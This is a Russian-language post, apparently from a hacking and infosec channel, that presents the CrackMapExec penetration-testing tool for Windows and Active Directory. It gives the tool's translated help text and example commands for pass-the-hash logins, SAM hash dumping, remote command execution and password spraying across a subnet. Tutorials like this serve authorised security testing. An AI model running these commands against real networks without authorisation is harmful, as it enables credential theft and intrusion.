CrackMapExec

CrackMapExec

Life-Hack - Linux/Хакинг/Хакер/ИБ/Osint

Это швейцарский армейский нож для тестирования на проникновение в средах Windows/Active Directory. Инструмент имеет широкий спектр возможностей, от перечисления пользователей, вошедших в систему, и спайдеринга общих папок SMB до выполнения атак в стиле psexec, автоматического внедрения Mimikatz/Shellcode/DLL в память с помощью Powershell, дампа NTDS.dit и многого другого. CrackMapExec написан на Python, не требует установки дополнительных инструментов, имеет параллельную многопоточность и использует только нативные вызовы WinAPI для обнаружения сессий, пользователей, дампа хэшей SAM и т.д. Из плюсов можно отметить безопасность Opsec (двоичные файлы не загружаются для дампа учетных данных в открытом виде, внедрения шелл-кода и т.д.). Кроме того, имеется база данных для удобного хранения учетных данных. CrackMapExec умеет автоматически сопоставлять учетные данные администратора с узлами и наоборот, что позволяет легко отслеживать наборы учетных данных и получать дополнительную ситуационную осведомленность в больших средах.

Домашняя страница проекта: https://github.com/byt3bl33d3r/CrackMapExec

crackmapexec.py [-h] [-v] [-t ПОТОКИ] [-id CRED_ID]
[-u [ИМЯ_ПОЛЬЗОВАТЕЛЯ [ИМЯ_ПОЛЬЗОВАТЕЛЯ ...]]] [-d ДОМЕН]
[-p [ПАРОЛЬ [ПАРОЛЬ ...]] | -H [HASH [HASH ...]]]
[-m MODULE] [-o [ОПЦИЯ_МОДУЛЯ [ОПЦИЯ_МОДУЛЯ ...]]]
[--module-info] [--share SHARE] [--smb-port {139,445}]
[--mssql-port ПОРТ] [--server {http,https}]
[--server-host ХОСТ] [--server-port PORT]
[--local-auth] [--timeout TIMEOUT] [--verbose] [--sam]
[--lsa] [--ntds {vss,drsuapi}] [--ntds-history]
[--ntds-pwdLastSet] [--wdigest {enable,disable}]
[--shares] [--uac] [--sessions] [--disks] [--users]
[--rid-brute [MAX_RID]] [--pass-pol] [--lusers]
[--wmi ЗАПРОС] [--wmi-namespace ПРОСТРАНСТВО_ИМЁН]
[--spider [ПАПКА]] [--content]
[--exclude-dirs СПИСОК_ДИРЕКТОРИЙ]
[--pattern [ОБРАЗЕЦ [ОБРАЗЕЦ...]] | --regex
[РЕГУЛЯРНОЕ_ВЫРАЖЕНИЕ [РЕГУЛЯРНОЕ_ВЫРАЖЕНИЕ ...]]] [--depth ГЛУБИНА]
[--exec-method {atexec,smbexec,wmiexec}] [--force-ps32]
[--no-output] [-x КОМАНДА] [-X КОМАНДА_ PowerShell] [--mssql]
[--mssql-query ЗАПРОС]
[цель [цель...]]

Опциональные аргументы:

-h, --help           показать справку и выйти
-v, --version        показать версию программы и выйти
-t ПОТОКИ            Установить количество одновременно используемых потоков (по умолчанию 100)
-id CRED_ID          ID учётных данных базы данных для использования в аутентификации
-u [ИМЯ_ПОЛЬЗОВАТЕЛЯ [ИМЯ_ПОЛЬЗОВАТЕЛЯ ...]]           Имя(имена) или файл(ы) содержащих имена пользователей
-d ДОМЕН             Имя домена
-p [ПАРОЛЬ [ПАРОЛЬ ...]]                   Пароль(и) или файл(ы) содержащие пароли
-H [ХЕШ [ХЕШ ...]]   NTLM хеш(и) или файл(ы) содержащие NTLM хеши
-m МОДУЛЬ, --module МОДУЛЬ                  Модуль полезной нагрузки для использования
-o [ОПЦИЯ_МОДУЛЯ [ОПЦИЯ_МОДУЛЯ ...]]                     Опции модуля полезной нагрузки
--module-info        Показать информацию о модули
--share ОБЩАЯ_ПАПКА  Указать общую папку (по умолчанию: C$)
--smb-port {139,445} Порт SMB (по умолчанию: 445)
--mssql-port ПОРТ    Порт MSSQL (по умолчанию: 1433)
--server {http,https}                   Использовать выбранный сервер (по умолчанию: https)
--server-host ХОСТ   IP для привязки к серверу (по умолчанию: 0.0.0.0)
--server-port ПОРТ   Запустить сервер на указанном порту
--local-auth         Локальная аутентификация к каждой цели
--timeout TIMEOUT    Максимальное время в секундах для каждого потока (по умолчанию: 20)
--verbose            Включить вербальный режим

  Опции для сбора учётных данных:

--sam                Дамп хешей SAM с целевых систем
--lsa                Дамп секретов LSA с целевых систем
--ntds {vss,drsuapi} Дампить NTDS.dit с целевых DCs используя указанный метод (drsuapi является более быстрым)
--ntds-history       Дамп истории паролей NTDS.dit
--ntds-pwdLastSet    Показать атрибуты pwdLastSet для каждого аккаунта NTDS.dit
--wdigest {enable,disable}                     Создать/Удалить ключ регистра 'UseLogonCredential' включающий дампинг учётных данных WDigest на Windows >= 8.1

 Опции для маппинга/перечисления:

--shares             Перечислить шары и доступ
--uac                Проверить статус UAC
--sessions           Перечислить активные сессии
--disks              Перечислить диски
--users              Перечислить пользователей
--rid-brute [MAX_RID]                    Перечислить пользователей брут-форсингом RID (по умолчанию: 4000)
--pass-pol           Дамп политики паролей
--lusers             Перечислить вошедших пользователей
--wmi ЗАПРОС         Выдать указанный запрос WMI
--wmi-namespace ПРОСТРАНСТВО_ИМЁН                      Пространство имён WMI (по умолчанию: //./root/cimv2)

 Опции для индексации общих папок:

--spider [ПАПКА]     Папка для индексации (по умолчанию: root directory)
--content            Включить поиск по содержимому файлов
--exclude-dirs СПИСОК_ДИРЕКТОРИЙ                   Директории для исключения из индексации
--pattern [ОБРАЗЕЦ [ОБРАЗЕЦ ...]]                    Образец(ы) для поиска в каталогах, именах файлов и содержимом файлов
--regex [РЕГУЛЯРНОЕ_ВЫРАЖЕНИЕ [РЕГУЛЯРНОЕ_ВЫРАЖЕНИЕ ...]]                    Регулярное выражение(я) для поиска в каталогах, именах файлов и содержимом файлов
--depth ГЛУБИНА      Глубина рекурсивной индексации (по умолчанию: 10)

 Опции для выполнения команд:

--exec-method {atexec,smbexec,wmiexec}                     Метод исполнения команд. Игнорируется в режиме MSSQL (по умолчанию: wmiexec)
--force-ps32         Принудительно исполнять команды PowerShell в 32-битном процессе
--no-output          Не получать вывод команд
-x КОМАНДА           Выполнить указанную команду
-X КОМАНДА_ PowerShell Выполнить указанную команду PowerShell

 Опции для взаимодействия с БД MSSQL:

--mssql              Переключить CME в режим MSSQL. Если указаны учётные данные, то проведёт аутентификацию в отношении всех найденных БД MSSQL
--mssql-query ЗАПРОС Выполнить указанный запрос в отношении БД MSSQL

CME поддерживает аутентификацию через SMB с помощью атак Passing-The-Hash с флагом -H:

crackmapexec smb <target(s)> -u username -H NTHASH

Дамп локальных хэшей SAM:

crackmapexec smb 192.168.215.104 -u 'Administrator' -p 'PASS' --local-auth --sam

Проверка на наличие вошедших в систему пользователей:

crackmapexec smb 192.168.215.104 -u 'Administrator' -p 'PASS' --lusers

В следующем примере мы пытаемся выполнить whoami на целевом объекте, используя флаг -x:

crackmapexec smb 192.168.10.11 -u Administrator -p 'PASS' -x whoami

Перебор и распыление паролей:

crackmapexec <protocol> <target(s)> -u username1 -p password1 password2
crackmapexec <protocol> <target(s)> -u username1 username2 -p password1
crackmapexec <protocol> <target(s)> -u ~/file_containing_usernames -p ~/file_containing_passwords
crackmapexec <protocol> <target(s)> -u ~/file_containing_usernames -H ~/file_containing_ntlm_hashes
crackmapexec smb 10.0.2.0/24 -u ‘admin’ -p ‘P@ssw0rd' 


Report Page